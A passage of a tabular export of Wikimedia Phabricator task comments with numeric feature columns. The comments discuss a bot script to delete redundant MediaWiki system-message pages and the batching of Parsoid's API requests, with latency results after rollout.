I wouldn't know why someone would disagree, but then again, there've only been a few people involved so far that all agreed.",,,1362512294,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,True,,,-17,,4.0,1.0,0.0,0.0,4.0,10.0,4.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,1.0,5.0,0.0,12.0,7.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,5.0,0.0,4.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,5.0,4.0,5.0,2.0,5.0,7.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,5.0,0.0,0.0,1.0,0.0,0.0,3.63855421686747,0.7590361445783133,"I could run it, but I'd like to not execute my own request without a little more consensus from people.

They aren't permanent or hidden actions in any way (regular wiki deletions, it's a bot basically), but they would be a horror to undo.

I wouldn't know why someone would disagree, but then again, there've only been a few people involved so far that all agreed."
229040,"Delete all redundant ""MediaWiki"" pages for system messages","**Thehelpfulonewiki** wrote:

Any progress on running this?",,,1362038010,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,False,,,-18,,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.857142857142857,0.7857142857142857,"**Thehelpfulonewiki** wrote:

Any progress on running this?"
229034,"Delete all redundant ""MediaWiki"" pages for system messages",See bug 43915.,,,1358895498,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,True,,,-23,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,See bug 43915.
229030,"Delete all redundant ""MediaWiki"" pages for system messages","(In reply to comment #2)
> Can the old [[User:MediaWiki default]] be used for this task?

The script I wrote uses that user and ensures it is in the bot group  (that is, add if not present) before it runs.

(In reply to comment #2)
> I understand this is going to affect messages pre-betawiki.

No, it is not.

(In reply to comment #2)
> However I  what would happen with messages that we decided to customize

Nothing.",,,1358895477,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,True,,,-23,,0.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,12.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,4.0,11.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,4.0,14.0,1.0,1.0,4.0,0.0,0.0,0.0,4.0,6.0,0.0,4.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.763888888888889,0.5138888888888888,"(In reply to comment #2)
QUOTE

The script I wrote uses that user and ensures it is in the bot group  (that is, add if not present) before it runs.

(In reply to comment #2)
QUOTE

No, it is not.

(In reply to comment #2)
QUOTE

Nothing."
229024,"Delete all redundant ""MediaWiki"" pages for system messages","Can the old [[User:MediaWiki default]] be used for this task? (Please note that since it does not run since 2006 it has been deflagged from the bot group from some projects).

I understand this is going to affect messages pre-betawiki. However I wonder what would happen with messages that we decided to customize localy. Those should not be deleted as they're likely going to be recreated later... Only a minor issue, though.",,,1358729054,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,False,,,-23,,1.0,0.0,0.0,4.0,2.0,5.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,1.0,0.0,3.0,0.0,8.0,12.0,0.0,3.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,7.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,10.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,3.0,5.0,10.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,7.0,12.0,2.0,1.0,0.0,0.0,7.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,2.0,3.912087912087912,0.7912087912087912,"Can the old [[User:MediaWiki default]] be used for this task? (Please note that since it does not run since 2006 it has been deflagged from the bot group from some projects).

I understand this is going to affect messages pre-betawiki. However I wonder what would happen with messages that we decided to customize localy. Those should not be deleted as they're likely going to be recreated later... Only a minor issue, though."
229020,"Delete all redundant ""MediaWiki"" pages for system messages","This is a subset of the general task ""clean-up local messages"".
What we have now:
[[mw:Localisation#Old_local_translation_system]]
https://toolserver.org/~robin/?tool=cleanuplocalmsgs",,,1358041581,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-odpakiqqpzglf5pzvu3o,task_subcomment,,True,c1,1,True,,,-25,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,6.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,3.78125,0.8125,"This is a subset of the general task ""clean-up local messages"".
What we have now:
[[mw:Localisation#Old_local_translation_system]]
URL"
45888,Batch Parsoid's API requests,"We should amortize per-request overheads by batching API requests.

AFAIK there is no generic batching support in the API currently, and adding it would probably be a bit too time-consuming for now. Instead we can add a unique string as a separator, for example something like 

<nowiki>d41d8cd98f00b204e9800998ecf8427e</nowiki>

This would work for for action=expandtemplates and action=parse which are the main workarounds we currently use. In the longer term we should switch to explicit methods that don't involve parsing wikitext, which is probably also a good moment to add real batching support.

Decisions about batch sizes could be based on wikitext source size initially (based on the assumption that templates with a bazillion parameters also take longer to expand). A fixed number of templates per batch would be another simple alternative. Really fancy batching could use stats of previous processing times (returned by the PHP preprocessor per transclusion and stored in HTML).

Ideally we would also enforce separation between batched requests to avoid non-deterministic behavior for stateful extensions.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1357943520,1447828111.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-rtnmynqsvowvjvcit3ww,task_description,resolved,True,c1,1,True,False,False,-25,,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,6.0,1.0,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,5.333333333333333,9.666666666666666,0.3333333333333333,1.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,1.0,1.6666666666666667,0.0,2.3333333333333335,0.3333333333333333,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.3333333333333333,1.0,0.3333333333333333,0.0,0.6666666666666666,4.333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,14.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.6666666666666666,0.0,1.0,0.0,3.6666666666666665,2.0,5.666666666666667,0.0,1.0,5.666666666666667,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.0,0.0,2.0,9.666666666666666,2.0,0.0,0.0,0.0,2.0,0.0,1.3333333333333333,2.0,0.0,1.3333333333333333,0.6666666666666666,0.0,1.0,4.726027397260274,0.7853881278538813,"We should amortize per-request overheads by batching API requests.

AFAIK there is no generic batching support in the API currently, and adding it would probably be a bit too time-consuming for now. Instead we can add a unique string as a separator, for example something like 

<nowiki>d41d8cd98f00b204e9800998ecf8427e</nowiki>

This would work for for action=expandtemplates and action=parse which are the main workarounds we currently use. In the longer term we should switch to explicit methods that don't involve parsing wikitext, which is probably also a good moment to add real batching support.

Decisions about batch sizes could be based on wikitext source size initially (based on the assumption that templates with a bazillion parameters also take longer to expand). A fixed number of templates per batch would be another simple alternative. Really fancy batching could use stats of previous processing times (returned by the PHP preprocessor per transclusion and stored in HTML).

Ideally we would also enforce separation between batched requests to avoid non-deterministic behavior for stateful extensions.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
539543,Batch Parsoid's API requests,"@ssastry, good point re load. Added the parse request rate for completeness. Also agreed re needing more data.",,,1443744632,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,4.363636363636363,0.8636363636363636,"SCREEN_NAME, good point re load. Added the parse request rate for completeness. Also agreed re needing more data."
539539,Batch Parsoid's API requests,"@ssastry, good point re load. Added the parse request rate for completeness.",,,1443744450,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.533333333333333,0.9333333333333333,"SCREEN_NAME, good point re load. Added the parse request rate for completeness."
539538,Batch Parsoid's API requests,"@subbu, good point re load. Added the parse request rate for completeness.",,,1443744437,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.533333333333333,0.9333333333333333,"SCREEN_NAME, good point re load. Added the parse request rate for completeness."
539530,Batch Parsoid's API requests,"You need to account for the spikiness in the load too. see http://grafana.wikimedia.org/#/dashboard/db/parsoid-timing-wt2html (zoom out to a 7-day window and look how the request rate was much closer to 200 reqs / sec last few days compared to < 150 reqs / sec earlier in the week (before batching was enabled). I am fairly confident that parsing latencies haven't been affected adversely based on monitoring this last couple days. But, I think we have to wait and watch this over the next couple weeks before we have a truer picture. 

On the other hand, if you look at ganglia graphs for the API cluster, you do see a reduction in network traffic in/out of it (despite the higher parse load on the Parsoid end) + a downward trend in the load there.",,,1443743973,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,1.0,0.0,0.0,1.0,0.5,5.0,1.0,0.0,0.0,0.5,3.0,0.5,0.0,0.0,0.0,2.5,0.5,4.0,15.0,0.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.5,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,16.5,0.0,1.0,0.0,0.5,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,8.5,2.0,5.0,2.5,2.5,9.5,0.0,0.0,0.0,0.0,3.5,0.0,1.5,0.0,5.0,15.0,3.0,0.0,0.0,0.0,5.0,0.0,0.5,2.5,0.0,1.5,1.5,0.0,0.5,3.680789473684211,0.7945614035087719,"You need to account for the spikiness in the load too. see URL (zoom out to a 7-day window and look how the request rate was much closer to 200 reqs / sec last few days compared to < 150 reqs / sec earlier in the week (before batching was enabled). I am fairly confident that parsing latencies haven't been affected adversely based on monitoring this last couple days. But, I think we have to wait and watch this over the next couple weeks before we have a truer picture. 

On the other hand, if you look at ganglia graphs for the API cluster, you do see a reduction in network traffic in/out of it (despite the higher parse load on the Parsoid end) + a downward trend in the load there."
539546,Batch Parsoid's API requests,"Batching was fully enabled on Sept 29th, around 16:14 UTC. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](http://grafana.wikimedia.org/#/dashboard/db/restbase?panelId=9&fullscreen)):

P99:
{F2651940}

Mean:
{F2651943}

Smoothed parse request rate:
{F2652092}",,,1443744961,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.6785714285714284,0.8214285714285714,"Batching was fully enabled on Sept 29th, around 16:14 UTC. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](URL

P99:
{F2651940}

Mean:
{F2651943}

Smoothed parse request rate:
{F2652092}"
539545,Batch Parsoid's API requests,"Batching was fully enabled on Sept 29th, around 16:14 UTC. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](http://grafana.wikimedia.org/#/dashboard/db/restbase?panelId=9&fullscreen)):

P99:
{F2651940}

Mean:
{F2651943}

Smoothed parse request rate:
{F2652078}",,,1443744831,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.6785714285714284,0.8214285714285714,"Batching was fully enabled on Sept 29th, around 16:14 UTC. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](URL

P99:
{F2651940}

Mean:
{F2651943}

Smoothed parse request rate:
{F2652078}"
539537,Batch Parsoid's API requests,"Batching was fully enabled on Sept 29th, around 16:14 UTC. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](http://grafana.wikimedia.org/#/dashboard/db/restbase?panelId=9&fullscreen)):

P99:
{F2651940}

Mean:
{F2651943}

Parse request rate:
{F2652035}",,,1443744407,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.6,0.8181818181818182,"Batching was fully enabled on Sept 29th, around 16:14 UTC. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](URL

P99:
{F2651940}

Mean:
{F2651943}

Parse request rate:
{F2652035}"
539533,Batch Parsoid's API requests,"Batching was fully enabled on Sept 29th, around 16:14 UTC. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](http://grafana.wikimedia.org/#/dashboard/db/restbase?panelId=9&fullscreen)):

P99:
{F2651940}

Mean:
{F2651943}",,,1443744243,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.652173913043478,0.8913043478260869,"Batching was fully enabled on Sept 29th, around 16:14 UTC. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](URL

P99:
{F2651940}

Mean:
{F2651943}"
539523,Batch Parsoid's API requests,"Batching was fully enabled on Sept 29th. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](http://grafana.wikimedia.org/#/dashboard/db/restbase?panelId=9&fullscreen)):

P99:
{F2651940}

Mean:
{F2651943}",,,1443743533,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.642857142857143,0.8809523809523809,"Batching was fully enabled on Sept 29th. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](URL

P99:
{F2651940}

Mean:
{F2651943}"
539521,Batch Parsoid's API requests,"Batching was fully enabled on Sept 29th. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](http://grafana.wikimedia.org/#/dashboard/db/restbase?panelId=9&fullscreen):

P99:
{F2651940}

Mean:
{F2651943}",,,1443743341,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,17.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,3.642857142857143,0.8809523809523809,"Batching was fully enabled on Sept 29th. 12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](URL

P99:
{F2651940}

Mean:
{F2651943}"
539518,Batch Parsoid's API requests,"12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](http://grafana.wikimedia.org/#/dashboard/db/restbase?panelId=9&fullscreen):

P99:
{F2651940}

Mean:
{F2651943}",,,1443743180,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.5,0.8529411764705882,"12-hour median latencies as seen by RESTBase in the last days (smoothed version of [this graph](URL

P99:
{F2651940}

Mean:
{F2651943}"
539516,Batch Parsoid's API requests,"12-hour median latencies as seen by RESTBase in the last days:

P99:
{F2651940}

Mean:
{F2651943}",,,1443743150,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,True,,,117,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.107142857142857,0.7857142857142857,"12-hour median latencies as seen by RESTBase in the last days:

P99:
{F2651940}

Mean:
{F2651943}"
508832,Batch Parsoid's API requests,"Change 227208 merged by jenkins-bot:
Batch MW parser and imageinfo API requests

[[https://gerrit.wikimedia.org/r/227208]]",,,1439607321,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,False,,,110,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.8636363636363638,0.9090909090909091,"Change 227208 merged by jenkins-bot:
Batch MW parser and imageinfo API requests

[[GERRIT_URL]]"
497388,Batch Parsoid's API requests,"Change 227208 had a related patch set uploaded (by Tim Starling):
Batch MW parser and imageinfo API requests

[[https://gerrit.wikimedia.org/r/227208]]
",,,1438000591,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-rtnmynqsvowvjvcit3ww,task_subcomment,,True,c1,3,False,,,108,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,25.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.892857142857143,0.8928571428571429,"Change 227208 had a related patch set uploaded (by Tim Starling):
Batch MW parser and imageinfo API requests

[[GERRIT_URL]]
"
